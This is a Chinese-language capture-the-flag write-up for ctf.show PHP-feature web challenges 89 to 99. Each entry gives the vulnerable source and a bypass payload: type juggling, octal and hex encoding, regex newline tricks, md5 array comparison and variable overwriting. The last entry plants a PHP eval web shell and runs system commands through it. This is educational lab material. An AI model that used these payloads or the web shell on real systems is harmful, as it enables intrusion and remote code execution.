ctf.show WEB入门-php特性系列

WEB入门-php特性系列

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

由于intval(array(''))==1，故直接数组绕过

?num[]=1

---

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

说明

函数：int intval ( mixed $var [, int $base = 10 ] )
说明：base=0时，
通过检测 var 的格式来决定使用的进制：
如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；
如果字符串以 "0" 开始，使用 8 进制(octal)；
否则，将使用 10 进制 (decimal)。

payload

?num= 4476
?num=0x117c
?num=010574

---

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

/i匹配大小写，/m匹配多行数据。
/^php$/m这种形式能用%0a绕过。

payload

?cmd=%0aphp

#还有一种方式，但是不太理解
?cmd=php%0a%0a

---

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload

?num=0x117c
?num=010574

---

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

还是一样的payload

?num=010574

---

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

说明

函数：strpos(string, find [,start])
说明：
string是规定被搜索的字符串；find是规定要查找的字符；start是规定开始搜索的位置。
返回字符串在另一字符串中第一次出现的位置，如果没有找到字符串则返回 FALSE。
注释：字符串位置从 0 开始，不是从 1 开始。

payload

?num= 010574
?num=4476.0		#由于intval()只识别整数部分

---

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){//表明要存在0且不在首位
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

用8进制表示法绕过4476数字。

payload

?num= 010574

---

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

payload

?u=./flag.php

---

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

利用数组进行绕过即可得到flag

a[]=1&b[]=2

---

web98

<?php
include("flag.php");
#若存在GET传值，用POST的值覆盖
$_GET?$_GET=&$_POST:'flag';
#flag参数等于flag，就用$_COOKIE进行覆盖。这里让flag参数不等于flag值就好了
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
#存在HTTP_FLAG参数等于flag，就出最终的flag答案
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

payload

http://c8c910aa-6434-42db-9dde-1db5025cffba.chall.ctf.show/?1
然后POST数据：HTTP_FLAG=flag

---

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=0; $i < 0x36d; $i++) { 
    array_push($allow, rand(0,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

$allow是个数组，通过array_push将随机数添加到$allow中。$allow中必定存在一个数字0。
然后这里利用in_array()的特性，弱比较特性，'0.php'==0。
构造payload

?n=0.php
POST数据：content=<?php eval($_POST['air']);?>

然后访问/0.php，POST传入air=system('sort flag36d.php');拿到flag。